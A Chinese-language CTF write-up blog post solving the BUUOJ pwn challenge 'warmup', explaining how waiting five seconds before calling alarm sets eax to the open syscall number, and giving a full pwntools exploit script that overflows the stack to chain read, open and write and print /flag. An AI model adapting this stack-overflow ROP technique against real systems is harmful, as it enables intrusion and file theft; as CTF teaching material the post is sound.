warmup(alarm函数的利用)

又是一个小技巧!

例行检查我就不放了

 

这道题没有got表,所有的函数实现都是由系统调用的方式去实现的,

看到题目的第一时间就想到了通过open read write的方式去获得flag

但是题目环境中确少了open这个函数

这里就不得不提alarm函数的妙用了

当第一次调用alarm函数的时候,会进行时间判断,然后再调用alarm函数后会停止,然后把剩余的参数返回到rax中

也就是说题目中alarm是10秒,我们等过了五秒后在调用alarm函数后,就能让rax为5

从而可以去实现open函数

(21条消息) Linux32位系统调用号——奇偶排列表格方便查找_hollk’s blog-CSDN博客

不是特别熟悉系统调用号的师傅,推荐hollk师傅的博客

 

那么完整exp如下:

from pwn import *

#p = process('./warmup')

p = remote('node4.buuoj.cn',26779)

alarm = 0x0804810D
read = 0x0804811D
addr = 0x080491BC
func = 0x0804815A
write = 0x08048135
mov_int80 = 0x08048122

#write flag
p.recvuntil('2016!')
payload = cyclic(0x20)+p32(read)+p32(func)
payload += p32(0)+p32(addr)+p32(0x8)
p.send(payload)
p.send(b'/flag'.ljust(0x8,b'\x00'))

#open flag
p.recvuntil("!")
sleep(5)
payload1 = cyclic(0x20)+p32(alarm)+p32(mov_int80)
payload1 += p32(func)+p32(addr)+p32(0)
p.send(payload1)

#read flag

p.recvuntil("!")
payload2 = cyclic(0x20)+p32(read)+p32(func)
payload2 += p32(3)+p32(addr)+p32(0x50)
p.send(payload2)

#write flag

p.recvuntil("!")
payload3 = cyclic(0x20)+p32(write)+p32(func)
payload3 += p32(1)+p32(addr)+p32(0x50)
p.send(payload3)


p.interactive()

 结束!

 

posted @ 2022-01-30 16:11  庄周恋蝶蝶恋花  阅读(154)  评论(0)    收藏  举报